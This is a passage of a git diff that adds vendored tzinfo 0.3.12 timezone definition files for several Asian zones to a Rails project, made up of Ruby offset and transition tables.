+ tz.transition 2044, 10, :o7, 4935837, 2 + tz.transition 2045, 3, :o8, 4936131, 2 + tz.transition 2045, 10, :o7, 4936565, 2 + tz.transition 2046, 3, :o8, 4936859, 2 + tz.transition 2046, 10, :o7, 4937293, 2 + tz.transition 2047, 3, :o8, 4937601, 2 + tz.transition 2047, 10, :o7, 4938021, 2 + tz.transition 2048, 3, :o8, 4938329, 2 + tz.transition 2048, 10, :o7, 4938749, 2 + tz.transition 2049, 3, :o8, 4939057, 2 + tz.transition 2049, 10, :o7, 4939491, 2 + tz.transition 2050, 3, :o8, 4939785, 2 + tz.transition 2050, 10, :o7, 4940219, 2 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb new file mode 100644 index 00000000..139194e5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb @@ -0,0 +1,20 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Bangkok + include TimezoneDefinition + + timezone 'Asia/Bangkok' do |tz| + tz.offset :o0, 24124, 0, :LMT + tz.offset :o1, 24124, 0, :BMT + tz.offset :o2, 25200, 0, :ICT + + tz.transition 1879, 12, :o1, 52006648769, 21600 + tz.transition 1920, 3, :o2, 52324168769, 21600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb new file mode 100644 index 00000000..8c94b4ba --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb @@ -0,0 +1,33 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Chongqing + include TimezoneDefinition + + timezone 'Asia/Chongqing' do |tz| + tz.offset :o0, 25580, 0, :LMT + tz.offset :o1, 25200, 0, :LONT + tz.offset :o2, 28800, 0, :CST + tz.offset :o3, 28800, 3600, :CDT + + tz.transition 1927, 12, :o1, 10477063601, 4320 + tz.transition 1980, 4, :o2, 325962000 + tz.transition 1986, 5, :o3, 515520000 + tz.transition 1986, 9, :o2, 527007600 + tz.transition 1987, 4, :o3, 545155200 + tz.transition 1987, 9, :o2, 558457200 + tz.transition 1988, 4, :o3, 576604800 + tz.transition 1988, 9, :o2, 589906800 + tz.transition 1989, 4, :o3, 608659200 + tz.transition 1989, 9, :o2, 621961200 + tz.transition 1990, 4, :o3, 640108800 + tz.transition 1990, 9, :o2, 653410800 + tz.transition 1991, 4, :o3, 671558400 + tz.transition 1991, 9, :o2, 684860400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb new file mode 100644 index 00000000..f6531fa8 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb @@ -0,0 +1,30 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Colombo + include TimezoneDefinition + + timezone 'Asia/Colombo' do |tz| + tz.offset :o0, 19164, 0, :LMT + tz.offset :o1, 19172, 0, :MMT + tz.offset :o2, 19800, 0, :IST + tz.offset :o3, 19800, 1800, :IHST + tz.offset :o4, 19800, 3600, :IST + tz.offset :o5, 23400, 0, :LKT + tz.offset :o6, 21600, 0, :LKT + + tz.transition 1879, 12, :o1, 17335550003, 7200 + tz.transition 1905, 12, :o2, 52211763607, 21600 + tz.transition 1942, 1, :o3, 116657485, 48 + tz.transition 1942, 8, :o4, 9722413, 4 + tz.transition 1945, 10, :o2, 38907909, 16 + tz.transition 1996, 5, :o5, 832962600 + tz.transition 1996, 10, :o6, 846266400 + tz.transition 2006, 4, :o2, 1145039400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb new file mode 100644 index 00000000..ccd02655 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb @@ -0,0 +1,27 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Dhaka + include TimezoneDefinition + + timezone 'Asia/Dhaka' do |tz| + tz.offset :o0, 21700, 0, :LMT + tz.offset :o1, 21200, 0, :HMT + tz.offset :o2, 23400, 0, :BURT + tz.offset :o3, 19800, 0, :IST + tz.offset :o4, 21600, 0, :DACT + tz.offset :o5, 21600, 0, :BDT + + tz.transition 1889, 12, :o1, 2083422167, 864 + tz.transition 1941, 9, :o2, 524937943, 216 + tz.transition 1942, 5, :o3, 116663723, 48 + tz.transition 1942, 8, :o2, 116668957, 48 + tz.transition 1951, 9, :o4, 116828123, 48 + tz.transition 1971, 3, :o5, 38772000 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb new file mode 100644 index 00000000..f1edd75a --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb @@ -0,0 +1,87 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Hong_Kong + include TimezoneDefinition + + timezone 'Asia/Hong_Kong' do |tz| + tz.offset :o0, 27396, 0, :LMT + tz.offset :o1, 28800, 0, :HKT + tz.offset :o2, 28800, 3600, :HKST + + tz.transition 1904, 10, :o1, 5800279639, 2400 + tz.transition 1946, 4, :o2, 38910885, 16 + tz.transition 1946, 11, :o1, 116743453, 48 + tz.transition 1947, 4, :o2, 38916613, 16 + tz.transition 1947, 12, :o1, 116762365, 48 + tz.transition 1948, 5, :o2, 38922773, 16 + tz.transition 1948, 10, :o1, 116777053, 48 + tz.transition 1949, 4, :o2, 38928149, 16 + tz.transition 1949, 10, :o1, 116794525, 48 + tz.transition 1950, 4, :o2, 38933973, 16 + tz.transition 1950, 10, :o1, 116811997, 48 + tz.transition 1951, 3, :o2, 38939797, 16 + tz.transition 1951, 10, :o1, 116829469, 48 + tz.transition 1952, 4, :o2, 38945733, 16 + tz.transition 1952, 10, :o1, 116846941, 48 + tz.transition 1953, 4, :o2, 38951557, 16 + tz.transition 1953, 10, :o1, 116864749, 48 + tz.transition 1954, 3, :o2, 38957157, 16 + tz.transition 1954, 10, :o1, 116882221, 48 + tz.transition 1955, 3, :o2, 38962981, 16 + tz.transition 1955, 11, :o1, 116900029, 48 + tz.transition 1956, 3, :o2, 38968805, 16 + tz.transition 1956, 11, :o1, 116917501, 48 + tz.transition 1957, 3, :o2, 38974741, 16 + tz.transition 1957, 11, :o1, 116934973, 48 + tz.transition 1958, 3, :o2, 38980565, 16 + tz.transition 1958, 11, :o1, 116952445, 48 + tz.transition 1959, 3, :o2, 38986389, 16 + tz.transition 1959, 10, :o1, 116969917, 48 + tz.transition 1960, 3, :o2, 38992213, 16 + tz.transition 1960, 11, :o1, 116987725, 48 + tz.transition 1961, 3, :o2, 38998037, 16 + tz.transition 1961, 11, :o1, 117005197, 48 + tz.transition 1962, 3, :o2, 39003861, 16 + tz.transition 1962, 11, :o1, 117022669, 48 + tz.transition 1963, 3, :o2, 39009797, 16 + tz.transition 1963, 11, :o1, 117040141, 48 + tz.transition 1964, 3, :o2, 39015621, 16 + tz.transition 1964, 10, :o1, 117057613, 48 + tz.transition 1965, 4, :o2, 39021893, 16 + tz.transition 1965, 10, :o1, 117074413, 48 + tz.transition 1966, 4, :o2, 39027717, 16 + tz.transition 1966, 10, :o1, 117091885, 48 + tz.transition 1967, 4, :o2, 39033541, 16 + tz.transition 1967, 10, :o1, 117109693, 48 + tz.transition 1968, 4, :o2, 39039477, 16 + tz.transition 1968, 10, :o1, 117127165, 48 + tz.transition 1969, 4, :o2, 39045301, 16 + tz.transition 1969, 10, :o1, 117144637, 48 + tz.transition 1970, 4, :o2, 9315000 + tz.transition 1970, 10, :o1, 25036200 + tz.transition 1971, 4, :o2, 40764600 + tz.transition 1971, 10, :o1, 56485800 + tz.transition 1972, 4, :o2, 72214200 + tz.transition 1972, 10, :o1, 88540200 + tz.transition 1973, 4, :o2, 104268600 + tz.transition 1973, 10, :o1, 119989800 + tz.transition 1974, 4, :o2, 135718200 + tz.transition 1974, 10, :o1, 151439400 + tz.transition 1975, 4, :o2, 167167800 + tz.transition 1975, 10, :o1, 182889000 + tz.transition 1976, 4, :o2, 198617400 + tz.transition 1976, 10, :o1, 214338600 + tz.transition 1977, 4, :o2, 230067000 + tz.transition 1977, 10, :o1, 245788200 + tz.transition 1979, 5, :o2, 295385400 + tz.transition 1979, 10, :o1, 309292200 + tz.transition 1980, 5, :o2, 326835000 + tz.transition 1980, 10, :o1, 340741800 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb new file mode 100644 index 00000000..2d47d958 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb @@ -0,0 +1,165 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Irkutsk + include TimezoneDefinition + + timezone 'Asia/Irkutsk' do |tz| + tz.offset :o0, 25040, 0, :LMT + tz.offset :o1, 25040, 0, :IMT + tz.offset :o2, 25200, 0, :IRKT + tz.offset :o3, 28800, 0, :IRKT + tz.offset :o4, 28800, 3600, :IRKST + tz.offset :o5, 25200, 3600, :IRKST + + tz.transition 1879, 12, :o1, 2600332427, 1080 + tz.transition 1920, 1, :o2, 2616136067, 1080 + tz.transition 1930, 6, :o3, 58227557, 24 + tz.transition 1981, 3, :o4, 354902400 + tz.transition 1981, 9, :o3, 370710000 + tz.transition 1982, 3, :o4, 386438400 + tz.transition 1982, 9, :o3, 402246000 + tz.transition 1983, 3, :o4, 417974400 + tz.transition 1983, 9, :o3, 433782000 + tz.transition 1984, 3, :o4, 449596800 + tz.transition 1984, 9, :o3, 465328800 + tz.transition 1985, 3, :o4, 481053600 + tz.transition 1985, 9, :o3, 496778400 + tz.transition 1986, 3, :o4, 512503200 + tz.transition 1986, 9, :o3, 528228000 + tz.transition 1987, 3, :o4, 543952800 + tz.transition 1987, 9, :o3, 559677600 + tz.transition 1988, 3, :o4, 575402400 + tz.transition 1988, 9, :o3, 591127200 + tz.transition 1989, 3, :o4, 606852000 + tz.transition 1989, 9, :o3, 622576800 + tz.transition 1990, 3, :o4, 638301600 + tz.transition 1990, 9, :o3, 654631200 + tz.transition 1991, 3, :o5, 670356000 + tz.transition 1991, 9, :o2, 686084400 + tz.transition 1992, 1, :o3, 695761200 + tz.transition 1992, 3, :o4, 701794800 + tz.transition 1992, 9, :o3, 717516000 + tz.transition 1993, 3, :o4, 733255200 + tz.transition 1993, 9, :o3, 748980000 + tz.transition 1994, 3, :o4, 764704800 + tz.transition 1994, 9, :o3, 780429600 + tz.transition 1995, 3, :o4, 796154400 + tz.transition 1995, 9, :o3, 811879200 + tz.transition 1996, 3, :o4, 828208800 + tz.transition 1996, 10, :o3, 846352800 + tz.transition 1997, 3, :o4, 859658400 + tz.transition 1997, 10, :o3, 877802400 + tz.transition 1998, 3, :o4, 891108000 + tz.transition 1998, 10, :o3, 909252000 + tz.transition 1999, 3, :o4, 922557600 + tz.transition 1999, 10, :o3, 941306400 + tz.transition 2000, 3, :o4, 954007200 + tz.transition 2000, 10, :o3, 972756000 + tz.transition 2001, 3, :o4, 985456800 + tz.transition 2001, 10, :o3, 1004205600 + tz.transition 2002, 3, :o4, 1017511200 + tz.transition 2002, 10, :o3, 1035655200 + tz.transition 2003, 3, :o4, 1048960800 + tz.transition 2003, 10, :o3, 1067104800 + tz.transition 2004, 3, :o4, 1080410400 + tz.transition 2004, 10, :o3, 1099159200 + tz.transition 2005, 3, :o4, 1111860000 + tz.transition 2005, 10, :o3, 1130608800 + tz.transition 2006, 3, :o4, 1143309600 + tz.transition 2006, 10, :o3, 1162058400 + tz.transition 2007, 3, :o4, 1174759200 + tz.transition 2007, 10, :o3, 1193508000 + tz.transition 2008, 3, :o4, 1206813600 + tz.transition 2008, 10, :o3, 1224957600 + tz.transition 2009, 3, :o4, 1238263200 + tz.transition 2009, 10, :o3, 1256407200 + tz.transition 2010, 3, :o4, 1269712800 + tz.transition 2010, 10, :o3, 1288461600 + tz.transition 2011, 3, :o4, 1301162400 + tz.transition 2011, 10, :o3, 1319911200 + tz.transition 2012, 3, :o4, 1332612000 + tz.transition 2012, 10, :o3, 1351360800 + tz.transition 2013, 3, :o4, 1364666400 + tz.transition 2013, 10, :o3, 1382810400 + tz.transition 2014, 3, :o4, 1396116000 + tz.transition 2014, 10, :o3, 1414260000 + tz.transition 2015, 3, :o4, 1427565600 + tz.transition 2015, 10, :o3, 1445709600 + tz.transition 2016, 3, :o4, 1459015200 + tz.transition 2016, 10, :o3, 1477764000 + tz.transition 2017, 3, :o4, 1490464800 + tz.transition 2017, 10, :o3, 1509213600 + tz.transition 2018, 3, :o4, 1521914400 + tz.transition 2018, 10, :o3, 1540663200 + tz.transition 2019, 3, :o4, 1553968800 + tz.transition 2019, 10, :o3, 1572112800 + tz.transition 2020, 3, :o4, 1585418400 + tz.transition 2020, 10, :o3, 1603562400 + tz.transition 2021, 3, :o4, 1616868000 + tz.transition 2021, 10, :o3, 1635616800 + tz.transition 2022, 3, :o4, 1648317600 + tz.transition 2022, 10, :o3, 1667066400 + tz.transition 2023, 3, :o4, 1679767200 + tz.transition 2023, 10, :o3, 1698516000 + tz.transition 2024, 3, :o4, 1711821600 + tz.transition 2024, 10, :o3, 1729965600 + tz.transition 2025, 3, :o4, 1743271200 + tz.transition 2025, 10, :o3, 1761415200 + tz.transition 2026, 3, :o4, 1774720800 + tz.transition 2026, 10, :o3, 1792864800 + tz.transition 2027, 3, :o4, 1806170400 + tz.transition 2027, 10, :o3, 1824919200 + tz.transition 2028, 3, :o4, 1837620000 + tz.transition 2028, 10, :o3, 1856368800 + tz.transition 2029, 3, :o4, 1869069600 + tz.transition 2029, 10, :o3, 1887818400 + tz.transition 2030, 3, :o4, 1901124000 + tz.transition 2030, 10, :o3, 1919268000 + tz.transition 2031, 3, :o4, 1932573600 + tz.transition 2031, 10, :o3, 1950717600 + tz.transition 2032, 3, :o4, 1964023200 + tz.transition 2032, 10, :o3, 1982772000 + tz.transition 2033, 3, :o4, 1995472800 + tz.transition 2033, 10, :o3, 2014221600 + tz.transition 2034, 3, :o4, 2026922400 + tz.transition 2034, 10, :o3, 2045671200 + tz.transition 2035, 3, :o4, 2058372000 + tz.transition 2035, 10, :o3, 2077120800 + tz.transition 2036, 3, :o4, 2090426400 + tz.transition 2036, 10, :o3, 2108570400 + tz.transition 2037, 3, :o4, 2121876000 + tz.transition 2037, 10, :o3, 2140020000 + tz.transition 2038, 3, :o4, 9862041, 4 + tz.transition 2038, 10, :o3, 9862909, 4 + tz.transition 2039, 3, :o4, 9863497, 4 + tz.transition 2039, 10, :o3, 9864365, 4 + tz.transition 2040, 3, :o4, 9864953, 4 + tz.transition 2040, 10, :o3, 9865821, 4 + tz.transition 2041, 3, :o4, 9866437, 4 + tz.transition 2041, 10, :o3, 9867277, 4 + tz.transition 2042, 3, :o4, 9867893, 4 + tz.transition 2042, 10, :o3, 9868733, 4 + tz.transition 2043, 3, :o4, 9869349, 4 + tz.transition 2043, 10, :o3, 9870189, 4 + tz.transition 2044, 3, :o4, 9870805, 4 + tz.transition 2044, 10, :o3, 9871673, 4 + tz.transition 2045, 3, :o4, 9872261, 4 + tz.transition 2045, 10, :o3, 9873129, 4 + tz.transition 2046, 3, :o4, 9873717, 4 + tz.transition 2046, 10, :o3, 9874585, 4 + tz.transition 2047, 3, :o4, 9875201, 4 + tz.transition 2047, 10, :o3, 9876041, 4 + tz.transition 2048, 3, :o4, 9876657, 4 + tz.transition 2048, 10, :o3, 9877497, 4 + tz.transition 2049, 3, :o4, 9878113, 4 + tz.transition 2049, 10, :o3, 9878981, 4 + tz.transition 2050, 3, :o4, 9879569, 4 + tz.transition 2050, 10, :o3, 9880437, 4 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb new file mode 100644 index 00000000..cc58fa17 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb @@ -0,0 +1,30 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Jakarta + include TimezoneDefinition + + timezone 'Asia/Jakarta' do |tz| + tz.offset :o0, 25632, 0, :LMT + tz.offset :o1, 25632, 0, :JMT + tz.offset :o2, 26400, 0, :JAVT + tz.offset :o3, 27000, 0, :WIT + tz.offset :o4, 32400, 0, :JST + tz.offset :o5, 28800, 0, :WIT + tz.offset :o6, 25200, 0, :WIT + + tz.transition 1867, 8, :o1, 720956461, 300 + tz.transition 1923, 12, :o2, 87256267, 36 + tz.transition 1932, 10, :o3, 87372439, 36 + tz.transition 1942, 3, :o4, 38887059, 16 + tz.transition 1945, 9, :o3, 19453769, 8 + tz.transition 1948, 4, :o5, 38922755, 16 + tz.transition 1950, 4, :o3, 14600413, 6 + tz.transition 1963, 12, :o6, 39014323, 16 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb new file mode 100644 index 00000000..9b737b89 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb @@ -0,0 +1,163 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Jerusalem + include TimezoneDefinition + + timezone 'Asia/Jerusalem' do |tz| + tz.offset :o0, 8456, 0, :LMT + tz.offset :o1, 8440, 0, :JMT + tz.offset :o2, 7200, 0, :IST + tz.offset :o3, 7200, 3600, :IDT + tz.offset :o4, 7200, 7200, :IDDT + + tz.transition 1879, 12, :o1, 26003326343, 10800 + tz.transition 1917, 12, :o2, 5230643909, 2160 + tz.transition 1940, 5, :o3, 29157377, 12 + tz.transition 1942, 10, :o2, 19445315, 8 + tz.transition 1943, 4, :o3, 4861631, 2 + tz.transition 1943, 10, :o2, 19448235, 8 + tz.transition 1944, 3, :o3, 29174177, 12 + tz.transition 1944, 10, :o2, 19451163, 8 + tz.transition 1945, 4, :o3, 29178737, 12 + tz.transition 1945, 10, :o2, 58362251, 24 + tz.transition 1946, 4, :o3, 4863853, 2 + tz.transition 1946, 10, :o2, 19457003, 8 + tz.transition 1948, 5, :o4, 29192333, 12 + tz.transition 1948, 8, :o3, 7298386, 3 + tz.transition 1948, 10, :o2, 58388555, 24 + tz.transition 1949, 4, :o3, 29196449, 12 + tz.transition 1949, 10, :o2, 58397315, 24 + tz.transition 1950, 4, :o3, 29200649, 12 + tz.transition 1950, 9, :o2, 4867079, 2 + tz.transition 1951, 3, :o3, 29204849, 12 + tz.transition 1951, 11, :o2, 4867923, 2 + tz.transition 1952, 4, :o3, 4868245, 2 + tz.transition 1952, 10, :o2, 4868609, 2 + tz.transition 1953, 4, :o3, 4868959, 2 + tz.transition 1953, 9, :o2, 4869267, 2 + tz.transition 1954, 6, :o3, 29218877, 12 + tz.transition 1954, 9, :o2, 19479979, 8 + tz.transition 1955, 6, :o3, 4870539, 2 + tz.transition 1955, 9, :o2, 19482891, 8 + tz.transition 1956, 6, :o3, 29227529, 12 + tz.transition 1956, 9, :o2, 4871493, 2 + tz.transition 1957, 4, :o3, 4871915, 2 + tz.transition 1957, 9, :o2, 19488827, 8 + tz.transition 1974, 7, :o3, 142380000 + tz.transition 1974, 10, :o2, 150843600 + tz.transition 1975, 4, :o3, 167176800 + tz.transition 1975, 8, :o2, 178664400 + tz.transition 1985, 4, :o3, 482277600 + tz.transition 1985, 9, :o2, 495579600 + tz.transition 1986, 5, :o3, 516751200 + tz.transition 1986, 9, :o2, 526424400 + tz.transition 1987, 4, :o3, 545436000 + tz.transition 1987, 9, :o2, 558478800 + tz.transition 1988, 4, :o3, 576540000 + tz.transition 1988, 9, :o2, 589237200 + tz.transition 1989, 4, :o3, 609890400 + tz.transition 1989, 9, :o2, 620773200 + tz.transition 1990, 3, :o3, 638316000 + tz.transition 1990, 8, :o2, 651618000 + tz.transition 1991, 3, :o3, 669765600 + tz.transition 1991, 8, :o2, 683672400 + tz.transition 1992, 3, :o3, 701820000 + tz.transition 1992, 9, :o2, 715726800 + tz.transition 1993, 4, :o3, 733701600 + tz.transition 1993, 9, :o2, 747176400 + tz.transition 1994, 3, :o3, 765151200 + tz.transition 1994, 8, :o2, 778021200 + tz.transition 1995, 3, :o3, 796600800 + tz.transition 1995, 9, :o2, 810075600 + tz.transition 1996, 3, :o3, 826840800 + tz.transition 1996, 9, :o2, 842821200 + tz.transition 1997, 3, :o3, 858895200 + tz.transition 1997, 9, :o2, 874184400 + tz.transition 1998, 3, :o3, 890344800 + tz.transition 1998, 9, :o2, 905029200 + tz.transition 1999, 4, :o3, 923011200 + tz.transition 1999, 9, :o2, 936313200 + tz.transition 2000, 4, :o3, 955670400 + tz.transition 2000, 10, :o2, 970783200 + tz.transition 2001, 4, :o3, 986770800 + tz.transition 2001, 9, :o2, 1001282400 + tz.transition 2002, 3, :o3, 1017356400 + tz.transition 2002, 10, :o2, 1033941600 + tz.transition 2003, 3, :o3, 1048806000 + tz.transition 2003, 10, :o2, 1065132000 + tz.transition 2004, 4, :o3, 1081292400 + tz.transition 2004, 9, :o2, 1095804000 + tz.transition 2005, 4, :o3, 1112313600 + tz.transition 2005, 10, :o2, 1128812400 + tz.transition 2006, 3, :o3, 1143763200 + tz.transition 2006, 9, :o2, 1159657200 + tz.transition 2007, 3, :o3, 1175212800 + tz.transition 2007, 9, :o2, 1189897200 + tz.transition 2008, 3, :o3, 1206662400 + tz.transition 2008, 10, :o2, 1223161200 + tz.transition 2009, 3, :o3, 1238112000 + tz.transition 2009, 9, :o2, 1254006000 + tz.transition 2010, 3, :o3, 1269561600 + tz.transition 2010, 9, :o2, 1284246000 + tz.transition 2011, 4, :o3, 1301616000 + tz.transition 2011, 10, :o2, 1317510000 + tz.transition 2012, 3, :o3, 1333065600 + tz.transition 2012, 9, :o2, 1348354800 + tz.transition 2013, 3, :o3, 1364515200 + tz.transition 2013, 9, :o2, 1378594800 + tz.transition 2014, 3, :o3, 1395964800 + tz.transition 2014, 9, :o2, 1411858800 + tz.transition 2015, 3, :o3, 1427414400 + tz.transition 2015, 9, :o2, 1442703600 + tz.transition 2016, 4, :o3, 1459468800 + tz.transition 2016, 10, :o2, 1475967600 + tz.transition 2017, 3, :o3, 1490918400 + tz.transition 2017, 9, :o2, 1506207600 + tz.transition 2018, 3, :o3, 1522368000 + tz.transition 2018, 9, :o2, 1537052400 + tz.transition 2019, 3, :o3, 1553817600 + tz.transition 2019, 10, :o2, 1570316400 + tz.transition 2020, 3, :o3, 1585267200 + tz.transition 2020, 9, :o2, 1601161200 + tz.transition 2021, 3, :o3, 1616716800 + tz.transition 2021, 9, :o2, 1631401200 + tz.transition 2022, 4, :o3, 1648771200 + tz.transition 2022, 10, :o2, 1664665200 + tz.transition 2023, 3, :o3, 1680220800 + tz.transition 2023, 9, :o2, 1695510000 + tz.transition 2024, 3, :o3, 1711670400 + tz.transition 2024, 10, :o2, 1728169200 + tz.transition 2025, 3, :o3, 1743120000 + tz.transition 2025, 9, :o2, 1759014000 + tz.transition 2026, 3, :o3, 1774569600 + tz.transition 2026, 9, :o2, 1789858800 + tz.transition 2027, 3, :o3, 1806019200 + tz.transition 2027, 10, :o2, 1823122800 + tz.transition 2028, 3, :o3, 1838073600 + tz.transition 2028, 9, :o2, 1853362800 + tz.transition 2029, 3, :o3, 1869523200 + tz.transition 2029, 9, :o2, 1884207600 + tz.transition 2030, 3, :o3, 1900972800 + tz.transition 2030, 10, :o2, 1917471600 + tz.transition 2031, 3, :o3, 1932422400 + tz.transition 2031, 9, :o2, 1947711600 + tz.transition 2032, 3, :o3, 1963872000 + tz.transition 2032, 9, :o2, 1978556400 + tz.transition 2033, 4, :o3, 1995926400 + tz.transition 2033, 10, :o2, 2011820400 + tz.transition 2034, 3, :o3, 2027376000 + tz.transition 2034, 9, :o2, 2042060400 + tz.transition 2035, 3, :o3, 2058825600 + tz.transition 2035, 10, :o2, 2075324400 + tz.transition 2036, 3, :o3, 2090275200 + tz.transition 2036, 9, :o2, 2106169200 + tz.transition 2037, 3, :o3, 2121724800 + tz.transition 2037, 9, :o2, 2136409200 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb new file mode 100644 index 00000000..669c0979 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb @@ -0,0 +1,20 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Kabul + include TimezoneDefinition + + timezone 'Asia/Kabul' do |tz| + tz.offset :o0, 16608, 0, :LMT + tz.offset :o1, 14400, 0, :AFT + tz.offset :o2, 16200, 0, :AFT + + tz.transition 1889, 12, :o1, 2170231477, 900 + tz.transition 1944, 12, :o2, 7294369, 3 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb new file mode 100644 index 00000000..2f1690b3 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb @@ -0,0 +1,163 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Kamchatka + include TimezoneDefinition + + timezone 'Asia/Kamchatka' do |tz| + tz.offset :o0, 38076, 0, :LMT + tz.offset :o1, 39600, 0, :PETT + tz.offset :o2, 43200, 0, :PETT + tz.offset :o3, 43200, 3600, :PETST + tz.offset :o4, 39600, 3600, :PETST + + tz.transition 1922, 11, :o1, 17448250027, 7200 + tz.transition 1930, 6, :o2, 58227553, 24 + tz.transition 1981, 3, :o3, 354888000 + tz.transition 1981, 9, :o2, 370695600 + tz.transition 1982, 3, :o3, 386424000 + tz.transition 1982, 9, :o2, 402231600 + tz.transition 1983, 3, :o3, 417960000 + tz.transition 1983, 9, :o2, 433767600 + tz.transition 1984, 3, :o3, 449582400 + tz.transition 1984, 9, :o2, 465314400 + tz.transition 1985, 3, :o3, 481039200 + tz.transition 1985, 9, :o2, 496764000 + tz.transition 1986, 3, :o3, 512488800 + tz.transition 1986, 9, :o2, 528213600 + tz.transition 1987, 3, :o3, 543938400 + tz.transition 1987, 9, :o2, 559663200 + tz.transition 1988, 3, :o3, 575388000 + tz.transition 1988, 9, :o2, 591112800 + tz.transition 1989, 3, :o3, 606837600 + tz.transition 1989, 9, :o2, 622562400 + tz.transition 1990, 3, :o3, 638287200 + tz.transition 1990, 9, :o2, 654616800 + tz.transition 1991, 3, :o4, 670341600 + tz.transition 1991, 9, :o1, 686070000 + tz.transition 1992, 1, :o2, 695746800 + tz.transition 1992, 3, :o3, 701780400 + tz.transition 1992, 9, :o2, 717501600 + tz.transition 1993, 3, :o3, 733240800 + tz.transition 1993, 9, :o2, 748965600 + tz.transition 1994, 3, :o3, 764690400 + tz.transition 1994, 9, :o2, 780415200 + tz.transition 1995, 3, :o3, 796140000 + tz.transition 1995, 9, :o2, 811864800 + tz.transition 1996, 3, :o3, 828194400 + tz.transition 1996, 10, :o2, 846338400 + tz.transition 1997, 3, :o3, 859644000 + tz.transition 1997, 10, :o2, 877788000 + tz.transition 1998, 3, :o3, 891093600 + tz.transition 1998, 10, :o2, 909237600 + tz.transition 1999, 3, :o3, 922543200 + tz.transition 1999, 10, :o2, 941292000 + tz.transition 2000, 3, :o3, 953992800 + tz.transition 2000, 10, :o2, 972741600 + tz.transition 2001, 3, :o3, 985442400 + tz.transition 2001, 10, :o2, 1004191200 + tz.transition 2002, 3, :o3, 1017496800 + tz.transition 2002, 10, :o2, 1035640800 + tz.transition 2003, 3, :o3, 1048946400 + tz.transition 2003, 10, :o2, 1067090400 + tz.transition 2004, 3, :o3, 1080396000 + tz.transition 2004, 10, :o2, 1099144800 + tz.transition 2005, 3, :o3, 1111845600 + tz.transition 2005, 10, :o2, 1130594400 + tz.transition 2006, 